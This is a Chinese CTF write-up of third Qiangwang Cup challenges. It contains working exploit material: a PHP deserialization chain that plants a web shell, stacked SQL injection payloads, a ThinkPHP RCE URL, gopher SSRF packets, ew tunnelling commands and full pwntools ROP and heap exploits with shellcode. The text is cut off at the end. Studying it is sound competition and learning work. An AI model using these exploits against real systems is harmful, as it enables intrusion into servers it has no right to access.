第三届强网杯部分WriteUp By W&M

栏目: 编程工具 · 发布时间: 5年前

内容简介:审计分析 先收集信息,找到源代码又在logincheck函数中发现了反序列化的点反序列话的参数可以控制,接下来寻找可用的类。 继续审计注意到Profile类中有

Web:

upload

审计分析 先收集信息,找到源代码 www.tar.gz 开始代码审计。每个控制器中都定义了类,尝试寻找反序列化的点。 在login中发现cookie的序列化过程

if (md5($password) === $user_info['password']) {
                    $cookie_data=base64_encode(serialize($user_info));
                    cookie("user",$cookie_data,3600);
                    $this->success('Login successful!', url('../home'));

又在logincheck函数中发现了反序列化的点

public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

反序列话的参数可以控制,接下来寻找可用的类。 继续审计注意到Profile类中有

@copy($this->filename_tmp, $this->filename);

在我们上传文件时,最终生成的文件是文件名的md5加上png后缀

if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }

但是如果我们在不上传文件的情况下,既empty($_FILES)=1时调用upload_img()函数,就可以控制文件名后缀了。 下面构造攻击链 注意到register中

public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

这里调用了index()方法,那么我们可以用他来触发_call, 而Profile中的_call方法可以触发_get,

public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }
public function __get($name)
    {
        return $this->except[$name];
    }

而我们只要控制好except的值,就可以调用任意方法。 那么我们攻击链就很明显了

Register->__destruct
Profile-> __call
Profile-> __get
Profile-> upload_img()

控制filename参数,讲我们上传的内容重命名后缀。 生成序列化脚本

<?php
namespace app\web\controller;

class Register{
	public $checker;
    public $registed;
}
class Profile{
	public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}

$a=new Register();
$a->registed=0;
$a->checker=new Profile();
$a->checker->except=array('index'=>'upload_img');
$a->checker->ext=1;
$a->checker->filename_tmp="./upload/08856017fa6b6b422db719c5519123dc/da5402f0aef9e4efbb5a9c9bb8566e7b.png";
$a->checker->filename="./upload/altman.php";
echo base64_encode(serialize($a));

开始操作 先上传一个带有恶意代码的png图片上去,然后在源代码找到图片地址。 第三届强网杯部分WriteUp By W&M 然后将cookie替换成生成的序列化数据  第三届强网杯部分WriteUp By W&M 刷新后访问首页。 之后再去访问刚才图片发现已经被删除了,访问altman.php后缀发现代码成功执行,getshell。然后根目录拿flag就行了。  第三届强网杯部分WriteUp By W&M

高明的黑客

因为是多点混淆的多文件代码,因此理论上可以通过文件静态分析或者动态获取参数并输出调试来测试出可能存在命令执行的参数。

静态分析的正则写不来,只好写动态参数调试。 首先测试GET参数

# -*- coding:utf-8 -*-

import re
import requests
import os
import sys

path = 'src/'

string = "system($_GET['jVMcNhK_F'] ?? ' ');"

for filename in os.listdir(path):

	f = open(path+filename)
	content = f.read()
	f.close()

	rc = re.compile(r'(\$_GET\[\')(.*)(\'\])')

	result = rc.findall(content)
	for r in result:
		var = r[1]
		url = "http://192.168.60.131/"+filename+"?"+var+"=echo hacked_by_bertram;"
		print(url)
		sys.stdout.flush()
		req = requests.get(url).content
		if 'hacked_by_bertram' in req:
			print(url)
			sys.exit()

因为echo 命令在 php 和bash中都可以较好的输出结果,因此可以避免system eval获取结果出现问题。 最终测试出 xk0SzyKwfzw.php中的Efa5BVG可以成功输出指令。 定位xk0SzyKwfzw.php中的Efa5BVG参数。

第三届强网杯部分WriteUp By W&M 可以看到存在命令执行,那么直接去服务器上命令执行就完事儿了 第三届强网杯部分WriteUp By W&M

随便注

return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

过滤这些内容,其中特别注意过滤了. ,因此无法使用传统方法去获取信息 同时注意到其中过滤了几乎所有的数据操作,唯独放出了一个alter,但是不确定是否有权限,测试后,发现确实有权限,因此可以通过修改表结构和表名的方式

首先可以通过报错注入的方式获取到数据库名 第三届强网杯部分WriteUp By W&M 然后通过

show tables from supersqli

获取到表 第三届强网杯部分WriteUp By W&M 通过

show create table xxxx

可以获取到表结构 第三届强网杯部分WriteUp By W&M 第三届强网杯部分WriteUp By W&M

最初的payload是

';alter table words rename aaa;alter table `1919810931114514` rename words;#

但是发现数据库报错缺少字段id,为了解决这个问题决定插入id

保证查询语句中的id可以查询 最终payload

';alter table `1919810931114514` add(id int default 1);alter table words rename aaa;alter table `1919810931114514` rename words;#

强网先锋-上单

看log后便知是一个tp5.3 below命令执行 直接log中的poc去打就行了

http://49.4.23.26:31960/1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

智能门锁

ps:写这个wp的时候环境已经炸了,这里只提供思路不复现 首先通过admin/admin进入系统提供的demo,发现get_info.php文件存在SSRF

访问强网大学(school子域名)提示IP非法,这里可以使用 client-ip: 192.168.0.1进行绕过

第三届强网杯部分WriteUp By W&M 第三届强网杯部分WriteUp By W&M 扫描发现存在uploads目录,直接列目录得到233.pcapng。这里之后就不能访问了所以很多大佬说没看到流量包,个人认为从这直接下载应该是非预期,出题人原意可能是通过SSRF获得。

通过分析流量包我们知道了门锁的IP以及端口还有发送的数据

第三届强网杯部分WriteUp By W&M

但是我们并不知道发的是啥,于是就到了让我疯狂头秃的地方了

第三届强网杯部分WriteUp By W&M

访问链接可以下载到固件,同时将v2改成v1就能下到v1的老版本固件。 第三届强网杯部分WriteUp By W&M binwalk一下发现其实就是个zip,直接分离出来然后发现存在hex文件。通过hex2bin或者使用JFlashARM另存为将其转为bin文件,然后使用IDA打开。这里打开需要做一些选择 第三届强网杯部分WriteUp By W&M (这里弱弱的吐槽一句AVR太他喵的反人类了,Web狗直接看傻了肛到凌晨四点多受不了了疯狂骚扰队内Re手) 逆完固件的协议可以知道第二位代表的是ver,我们只要把上面流量包的1换成2就行了(不要问我怎么逆的我也不会求求你们放过Web狗吧,再问自杀AVR这东西太反人类了) 顺便附上逆向出的结果

| 字段 | 长度 | 值或含义 | |:----|:----|:----| | ver | 1byte | 值0x02 | | sha256 | 32byte | 签名 | | timestamp | 4byte | 时间截 | | type | 1byte | 数据包类型 | | data | 变长 | 额外数据 |

V2版固件不会检查签名和时间戳且只有0x00和0x12两种类型。尝试构造数据包发送,发现0x00没有响应,但0x12数据包成功返回了一个随机数。 这时想到我们有v1的流量包并且v1和v2开门是一样的我们只要改一个版本号就行了,如果可以篡改门锁的时间戳就可以进行重放,然后这里的签名方法是存在哈希长度扩展攻击。 我们直接拿流量包里面同步时间截的数据包去进行扩展攻击。

最终payload

get_info.php?url=gopher://10.2.3.103:2333/_%26%02%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%00%12
/get_info.php?url=gopher://10.2.3.103:2333/_%AC%02%B5%5E%97%0E%D5%8B%92%3F%2C%27%02%BD%C8%87%1B%5E%22%3B%BA%B8%A2%EA%6B%4C%72%BD%D4%9D%6D%4D%4F%CF%5C%CB%DA%D1%10%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%04%66%2D%38%22
/get_info.php?url=gopher://10.2.3.103:2333/_%28%02%70%C8%96%BB%5A%A8%44%F8%48%CD%EE%8C%05%42%BF%43%8D%3C%8A%A7%E4%3B%D0%9C%E4%E4%35%1D%B0%00%E7%FF%5C%CB%DA%D2%20%01%F0

BABYWEBBB

一开始这题都摸不着门路,枯了…… 然后day2中午的时候,队友告诉我存在证书泄漏 找到 第三届强网杯部分WriteUp By W&M

域名绑定到hosts,就可以访问了,后来才知道,本题nginx做代理时,是与域名绑定的。 结合一开始发现的rsync的未授权访问获取的源码 有一个graphQL的API服务存在注入

通过注入获取session后,进一步ssrf

注入+SSRF脚本

login = "https://qqwwwwbbbbb.52dandan.xyz:8088/graphql_test123/login?query=%7B%0A%20%20recv%20(%0A%20%20%20%20data%3A%22%7B%5C%22operate%5C%22%3A%5C%22login%5C%22%2C%5C%22username%5C%22%3A%5C%22%5C%5C%5C%22or%202%3D2%23%5C%22%2C%5C%22password%5C%22%3A%5C%22%5C%22%7D%22%0A%20%20)%0A%7D"
s = requests.Session()
r = s.get(login,verify=False)
ssrf = "https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg"
data = {
    "newurl":sys.argv[1]
}
r = s.post(ssrf,verify=False,data=data,timeout=5)
print(base64.b64decode(r.content))

可以发现发现 第三届强网杯部分WriteUp By W&M

存在uwsgi

用uwsgi的命令执行脚本进行修改,将gopher语句输出后,通过ssrf打127.0.0.1:3031 第三届强网杯部分WriteUp By W&M

成功反弹shell 第三届强网杯部分WriteUp By W&M

根据提示socks5,通过扫描发现172.16.17.4开发1080端口。在内网机器上使用ew进行代理

./ew_for_linux64 -s lcx_slave -d 0.0.0.0 -e 4000 -f 172.16.17.4 -g 1080

自己的公网服务器执行

./ew_for_linux64 -s lcx_listen -l 1089 -e 4000

通过反代出来的socks5进内网 第三届强网杯部分WriteUp By W&M

代码审计给出的代码 https://paste.ubuntu.com/p/q4xJBfm3Bb/

第三届强网杯部分WriteUp By W&M 回溯func waf 第三届强网杯部分WriteUp By W&M log记录数据 第三届强网杯部分WriteUp By W&M 存在任意文件写 回溯saveall 第三届强网杯部分WriteUp By W&M

同时session类里有调用了pickle.load,因此存在反序列化

题目又关了

因此可能的执行流程为(讲道理应该可以,测试不了了233333 构造反序列化payload User 1 -> POST /adduser username=payload&password= User 1 -> /savelog 修改 User2 session User 2 -> 登录触发反序列化 User 2 -> getflag

Rev erse

JustRe

第一部分: 第三届强网杯部分WriteUp By W&M 两端执行相同操作,看其中一个即可。

from z3 import *

base_data = [0x78B09135,0xE78DBAE5,0xFB0C084A, 0x3B5C0EA2,0x82C7F904,0xF937EE81,0xEB130A06,0x3B4D7202,0x3ACC6A08,0x045A0A49, 0x26E84E1B,0x5513B95C, 0x3B4D8209,0xAD132C0D,  0x044BEE4A,0x61164B1F]

base_data = [0x79B19266,  0x0E88EBBB6,  0x0FC0D093B, 0x3C5D0F73,  0x83C8FA15,      0x0FA38EF92,  0x0EC140B17, 0x3C4E7313, 0x3BCD6B19,  0x55B0B5A,0x27E94F0C,0x5614BA4D,0x3C4E831A,0x0AE142D1E, 0x54CEF5B,    0x62174C10]

func_data = [0x83EC8B55,0xEC81F0E4,0x00000278,0x405004A1,0x89C43300,0x02742484,0x100F0000,0x4041A805,0x41C0A000,0x0F560040,0x2C244411,0x7E0FF357,0x4041B805,0xD60F6600,0x0F402444,0x6A0A4110]


f1 = BitVec('f1', 4*8)
f2 = BitVec('f2', 4*8)

# f1 = Int("f1")
# f2 = Int("f2")

solver = Solver()

for i in range(16):

    solver.add(func_data[i] == ((f1 + i) ^ ((0x1010101 * f2) + base_data[i])))   
    
s = solver.check()
m = solver.model()

print hex(int(str(m[f1])))[2:], hex(int(str(m[f2])))[2:]

# 13242218 18

第二部分 密钥为 "AFSAFCEDYCXCXACNDFKDCQXC" 的3des算法。直接算即可

第三届强网杯部分WriteUp By W&M

from Crypto.Cipher import DES3
import base64
 
BS = DES3.block_size
 
 
def pad(s):
    return s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
 
 
def unpad(s):
    return s[0:-ord(s[-1])]
 
 
class prpcrypt():
    def __init__(self, key):
        self.key = key
        self.mode = DES3.MODE_ECB
 
    def encrypt(self, text):
        text = pad(text)
        cryptor = DES3.new(self.key, self.mode)
        x = len(text) % 8
        if x != 0:
            text = text + '\0' * (8 - x)
        # print(text)
        self.ciphertext = cryptor.encrypt(text)
        return (self.ciphertext).encode("hex")
 
    def decrypt(self, text):
        cryptor = DES3.new(self.key, self.mode)
        # de_text = base64.standard_b64decode(text)
        plain_text = cryptor.decrypt(text)
        st = str(plain_text.decode("utf-8")).rstrip('\0')
        print st.encode("hex")
        print st
        out = unpad(st)
        return out
        
# 507CA9E68709CEFA20D50DCF90BB976C  #9090F6B07BA6A4E8

cipher = "507CA9E68709CEFA20D50DCF90BB976C".decode("hex")

p = prpcrypt("AFSAFCEDYCXCXACNDFKDCQXC")

print p.decrypt(cipher)

强网先锋_AD

简单的解base64

第三届强网杯部分WriteUp By W&M

第三届强网杯部分WriteUp By W&M

Pwn:

xxwarmup

十分恶心的一道题,sub_80483DB存在栈溢出,难点就在ROP怎么做了,思路就是通过部分改libc_start_main(可以通过sub_80483DB去做),然后再一个ret或者jmp过去,难点是远程开启了aslr这个地址随机了,所以要碰撞一下,概率应该为1/(2^24)(可以先本地关了aslr去做,就不用爆破了)。然后尝试过程如下:

  1. 尝试改写为one_gadget,结果8个没有一个成功(虽然后面发现不能拿shell)
  2. 尝试改system传/bin/sh,发现在system内有一个抬高栈的操作sub esp, 0x15c,这样esp就指向了不可写的区域,而我们最高能控制到0x40+0x80的地方。就是说sub后一定会到不可以写区域,凉凉
  3. 尝试syscall去做,结果edx没gadget,全是call edx,卒
  4. 回过头来去改payload,用sub_80483DB把栈复制到0x500高处,然后再把esp改过去,再执行system,然后本地可以/bin/sh了。
  5. 然后开启多进程去碰撞远程发现不行,回去看pow.py,发现只能在最开始接收一次输入,然后在输出一次就没了,而且大小都是0x100限制了。
  6. 在尝试‘cat *\x00’,可以通过报错发现目录,很长,,,,。因为一开始payload构造的太长了,只剩下8字节放命令,而cat */ 也不能输出(猜测因为这样先匹配了bin/

回去重构整个payload,把可以放命令的空间提高到了40字节,然后使用命令'cat _the_flag_dir_name_you_shold_guess/*\x00',在多进程下碰撞了半天后,成功得到了flag。

#-*- coding: utf-8 -*-
from pwn import *
from hashlib import *
from multiprocessing import Process

# bp 0x8048519
context.log_level = "error"

def gen(one):
    _copy = 0x080483db
    _esp = 0x0804a040
    _libc_start = 0x0804a00c
    ppp_ret =  0x08048619
    pop_ebp = 0x08048518

    rop = ''
    rop += p32(_copy) + p32(ppp_ret) + p32(_libc_start)  + p32(_esp+(13*4)) + p32(3)
    rop += p32(_copy) + p32(ppp_ret) + p32(_esp+0x500-0x44)  + p32(_esp+0x44) + p32(0x40)
    rop += p32(pop_ebp) + p32(_esp+0x500-0x44)
    rop += p32(0x08048512)
    rop += p32(one)
    rop += 'A' * (0x40 - len(rop) )

    rop += p32(0x0804a044)
    rop += p32(_esp+0x500-0x40)
    rop += p32(0x080482c0) * 2
    rop += p32(0)
    rop += p32(_esp+0x510-0x40)
    rop += 'cat _the_flag_dir_name_you_shold_guess/*\x00'

    # print len(rop.encode('hex'))
    # print rop.encode('hex')
    return rop.encode('hex')

# gen(0xf7e29200)

def pow(io):
    chal = io.recvuntil('\n',drop=True)
    return iters.mbruteforce(lambda x: sha256(chal + x).hexdigest().startswith('00000'), string.letters+string.digits, 4, 'fixed')

def random_aslr(n):
    r = ''.join(random.choice('abcdef'+string.digits) for _ in xrange(3))
    ri = int(hex(n)[2:4]+r+hex(n)[-3:], 16)
    return int(hex(n)[2:4]+r+hex(n)[-3:], 16)

def fuck():
    while True:
        io = remote('49.4.30.253', 31337)
        # io = remote('127.0.0.1', 5002)
        io.send(pow(io))
        # io.sendline(gen(random_aslr(0xf7dec000+0x3cd10)))
        # io.sendline(gen(0xf7e29200))
        io.sendline(gen(0xf7dec000+0x3cd10))
        buf = io.recvall()
        print buf
        if '{' in buf or 'flag' in buf:
            print buf
            raw_input()
        io.close()

if __name__ == '__main__':
    p_list = []
    for ip in range(10):
        p = Process(target=fuck)
        p.start()
        p_list.append(p)
        time.sleep(1)
    for res in p_list:
        res.join()

babymimic

ret2syscall的拟态版本,通过add sp,把32和64区分开,然后分别rop一下,具体看exp。其中遇到几个问题:

  1. 最开始32和64位都是用syscall做的,32位可以成功,64位syscall执行不了不知道为什么。最后把64位换成用mprotect去增加可执行权限后ret2shellcode
  2. 要让32和64位程序执行后你要recv的东西一致才行,因为程序ret前puts了一下,这里要填点东西,然后\x00截断一下
  3. flag拿到后还有个异或操作,就很简单了

第三届强网杯部分WriteUp By W&M

#-*- coding: utf-8 -*-
from pwn import *
from hashlib import sha256

__author__ = '3summer'
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
irt     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))

context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
token = 'bfdccbebf86687951f6d37b3e5a35fe1'

def dbg(breakpoint):
    gdbscript = ''
    elf_base = 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)

def pow():
    ru('.hexdigest()=')
    sha_256 = ru('\n')
    ru(".encode('hex')=")
    half = ru('\n').decode('hex')
    dic = [chr(i) for i in range(0x100)]
    ans = iters.mbruteforce(lambda x: sha256(half + x).hexdigest()==sha_256, dic, 3, 'fixed')
    sla("skr.encode('hex')=", (half+ans).encode('hex'))
    sla(':', token)

def exploit(io):
    print ru('it?\n')

    # 64位
    # dbg(0x400B33)
    int_0x80_x64 = 0x000000000044e82c
    pop_rax = 0x000000000043b97c
    pop_rdx = 0x000000000043b9d5
    pop_rdi = 0x00000000004005f6 
    pop_rsi = 0x0000000000405895
    read_plt = 0x43B9C0
    add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret

    # 32位
    # dbg(0x804892F)
    int_0x80_x86 = 0x080495a3
    add_esp = 0x0804f095 # add esp, 0x1c ; ret
    read_plt_32 = 0x0806C8E0
    pop_3_ret = 0x08055f54 # pop eax ; pop edx ; pop ebx ; ret
    pop_ecx = 0x0806e9f2 # pop ecx ; pop ebx ; ret

    rop_32 = p32(read_plt_32) + p32(pop_3_ret) + p32(0) + p32(0x80d7000) + p32(0x100) + p32(pop_ecx) + p32(0) + p32(0) + p32(pop_3_ret) + p32(0xb) + p32(0) + p32(0x80d7000) + p32(int_0x80_x86)
    # rop_64 = p64(read_plt) + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(0x6a13e3) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(int_0x80_x64)
    rop_64 = p64(read_plt) + p64(pop_rdi) + p64(0x69e000) + p64(pop_rsi) + p64(0x6000) + p64(pop_rdx) + p64(7) + p64(0x43C7A0) + p64(0x6a13e3+8)
    payload = 'test'+'\x00'*0x108 + 'b'*4 + p32(add_esp) + 'c'*4 + p64(add_rsp) + 'd'*0x10 + rop_32.ljust(0xc8,'e') + rop_64
    #                                32_ret                  64_ret                   32_rop(0xc8)             64_rop
    s(payload)
    sa('test\n','/bin/sh\x00'+'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05')
    return io


if __name__ == '__main__':
    if len(sys.argv) > 2:
        io = remote(sys.argv[1], sys.argv[2])
        pow()
    else:
        io = process(sys.argv[1], 0)
    exploit(io)
    irt()

random

可以分为两种chunk,暂且把calloc的成为func_chunk,malloc的成为data_chunk。 首先在输入name的时候可以带个地址出来,算到pie的基址。然后days和times姑且就输入最大的35和10。然后来看他的func_chunk的4个功能,分别是增,改,删,查,4个函数指针存放func_chunk上,在sub_10DB时调用,他的调用是这样的

free(ptr);
v5(ptr);

很明显存在一点问题,但是又感觉太抽象了。同时注意到add后会问你是否需要再add一个func_chunk。 因为堆上存在函数指针,所以思路应该是和UAF例题类似的看能不能覆盖这个指针,那么如果控制data_chunk和func_chunk大小一样大,应该哪里会造成点错误出来。 开始尝试add,但是我们一轮有10个func_chunk加上随机性,所以add一次然后gdb断下去看下堆。这样重复下去,当我add完第3个的时候发现第3个堆的开始地方居然被写了一个堆指针。仔细研究后发现,bss上的0x203168作为func_chunk的头节点,使用单向链表链接起来。那么可以通过编辑第3个data_chunk,我们能控制:

  1. func_chunk的这个单向链表
  2. 修改func_chunk的函数指针,通过call rdx可以劫持执行流

后面就是要泄漏libc了,因为限制了chunk大小,全是fast泄漏不了libc,所以构造一个0x91的堆头去free,然后打印出来就能拿到libc,接着就是call rdx执行one_gadget。由于程序逻辑有点绕,调试过程十分虐心。脚本如下:

#-*- coding: utf-8 -*-
from pwn import *


__author__ = '3summer'
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
irt     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))

binary_file = './random'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[0]
cnt = 10

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555758000 20\ndqs 0x555555554000+0x203168\ndq 0x555555554000+0x203180 30'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)

def choice(cmd, *argv):
    global cnt
    while True:
        v = ru('\n')
        if '(Y/N)' in v:
            if cmd in v:
                sl('Y')
                break
            else:
                sl('N')
        elif '(0~10)' in v:
            sl(cnt)
        else:
            pass
    for i in argv:
        if isinstance(i,tuple):
            sla(i[0],i[1])
            continue
        sla(':',i)
add     = lambda size,content,bol   :choice('add',size,content,('(Y/N)',bol))
edit    = lambda idx,content        :choice('update',idx,content)
show    = lambda idx                :choice('view',idx)
delete  = lambda idx                :choice('delete',idx)


def exploit(io):
    global cnt
    # dbg(0x176B) # strdup
    # dbg(0x0177F) # srand
    # dbg(0x11BA) # call func_ptr
    # dbg(0x1425) # add_done
    # dbg(0x159B) # free
    # dbg(0x0150B) # edit_done
    # dbg(0x13F2) # add_2
    # dbg(0x134D) # malloc
    # dbg(0x14E2) # edit_read
    # dbg(0x11AC) # free_call
    # dbg(0x13B3) # add_read

    sa('name:', 'a'*0x8)
    ru('a'*8)
    elf.address = uu64(r(6))-0xb90
    success('elf = 0x%x' % elf.address)
    sla('?\n', 35)

    add(0x3f,'0'*0x10,'Y')
    add(0x3f,'1'*0x10,'Y')
    add(0x17,'2'*0x10,'Y')
    show(2)
    ru('\n')
    heap_base = uu64(ru('\n'))-0xb0
    success('heap = 0x%x' % heap_base)
    edit(2, flat(heap_base+0x1b0, elf.address+0x1427, p8(2)))
    edit(0, flat(heap_base+0x1b0, elf.address+0x1600, 2, 0x91, heap_base+0x190, elf.address+0x129E, 2))
    add(0x3f, flat(heap_base+0x250, elf.address+0x1427, 2), 'N')
    show(2)
    ru('\n')
    unsorted_bin = uu64(r(6))
    libc.address = unsorted_bin-libc.sym['__malloc_hook']-88-0x10
    success('libc = 0x%x' % libc.address)
    edit(1, flat('1'*0x8, 0x41, '/bin/sh\x00', libc.sym.one_gadget, 2))


    return io


if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
        # io = process(binary_file, env={"LD_PRELOAD":"./libc-2.23.so"})
    exploit(io)
    irt()

强网先锋-AP

change存在堆溢出,但是没有free所以怎么泄漏libc是个问题,可以有几种做法:

  1. house of orange溢出修改TOP chunk
  2. 堆上存在puts的libc地址,直接覆盖一串字符然后puts的时候一起带出来

得到libc后可以劫持堆上的函数指针为one_gadget,脚本如下

#-*- coding: utf-8 -*-
from pwn import *


__author__ = '3summer'
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
irt     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))

binary_file = './qwap'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[0]

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)

def choice(cmd, *argv):
    sla('>>',cmd)
    for i in argv:
        if isinstance(i,tuple):
            sa(':',i[0])
            continue
        if isinstance(i,list):
            sla(i[1],i[0])
            continue
        sla(':',i)
add     = lambda size,content       :choice(1,size,(content,))
edit    = lambda idx,size,content   :choice(3,[idx,'?'],size,(content,))
show    = lambda idx                :choice(2,[idx,'?'])


def exploit(io):
    # dbg(0x0CE7) # add_done
    # dbg(0x0E6A) # edit
    # dbg(0xC43) #add_malloc

    # leak libc
    add(0x20,'0'*0x10)
    add(0x20,'1'*0x10)
    edit(0, 0x40, flat('0'*0x30,'1'*8))
    show(0)
    ru('1'*8)
    puts_addr = uu64(r(6))
    print hex(puts_addr)
    # dbg(0x0D8B)
    libc.address = puts_addr-libc.sym.puts

    # hijack control flow
    edit(0, 0x100, flat('0'*0x20,0,0x21,'/bin/sh\x00',libc.sym.one_gadget))
    show(1)

    return io


if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
    exploit(io)
    irt()

Misc:

鲲or鳗orGame

visualboy adance 金手指 首先玩到 1,定位rom中的位置,然后玩到2进一步确定位置 第三届强网杯部分WriteUp By W&M 定位result的位置 后添加金手指 因为一开始搞错了8位的数据的长度,然后修改的太大了,导致一直改不成功

后来队友说8位数据长度应该是1byte,所以修改为ff 第三届强网杯部分WriteUp By W&M

运行金手指再玩一遍就可以了 第三届强网杯部分WriteUp By W&M

强网先锋-打野

附件下载后直接通过zsteg解

第三届强网杯部分WriteUp By W&M

Crypto:

Randomstudy

第一层,和服务器同步时间种子就可以了。

第二层,分析 SDK的 Random 函数。

第三届强网杯部分WriteUp By W&M ** ** 第三届强网杯部分WriteUp By W&M 随机数是以 seed*0x5deece66d + 0xb &((1<<48)-1) 循环的形式生成伪随机数的,只需要爆破得到低16位即可 就是 0-0xffff。

写脚本即可爆破,后来因为 python 加了一个0xfffffff和脚本有点出入 可能有概率出不了解。懒得修改直接上。

import java.io.PrintStream;
import java.util.Random;
import java.util.concurrent.atomic.AtomicLong;


public class test
{

    public static long nextSeed(long seed){
        return ((seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1)) ;
    }

    public static int getNextInt(long seed, long bits ){
        return (int)(seed >>> (48 - bits));
    }

    public static void main(String[] paramArrayOfString)
    {

        long t1 = Long.parseLong(paramArrayOfString[0]);
        long t2 = Long.parseLong(paramArrayOfString[1]);

        for(int i=0; i< 0x10000; i++){
            if( t2 == getNextInt(nextSeed((t1 << 16) + i), 32)){
                // System.out.println("find:");
                // System.out.println(getNextInt(nextSeed((t1 << 16) + i), 32));
                System.out.println(getNextInt(nextSeed(nextSeed((t1 << 16) + i)),32));
                
            }
        }

    }
}

第三层 套用randcrack即可

import hashlib
import random
import time
import subprocess

from randcrack import RandCrack

from pwn import *

def proof(skr, skr_sha256):
    for c1 in range(0x100):
        for c2 in range(0x100):
            for c3 in range(0x100):
                shr = skr + chr(c1)+ chr(c2)+ chr(c3)
                # print hashlib.sha256(shr).hexdigest()
                if hashlib.sha256(shr).hexdigest() == skr_sha256.strip().lower():
                    print shr.encode("hex")
                    return shr.encode("hex")

def one(p, t):
    random.seed(t)
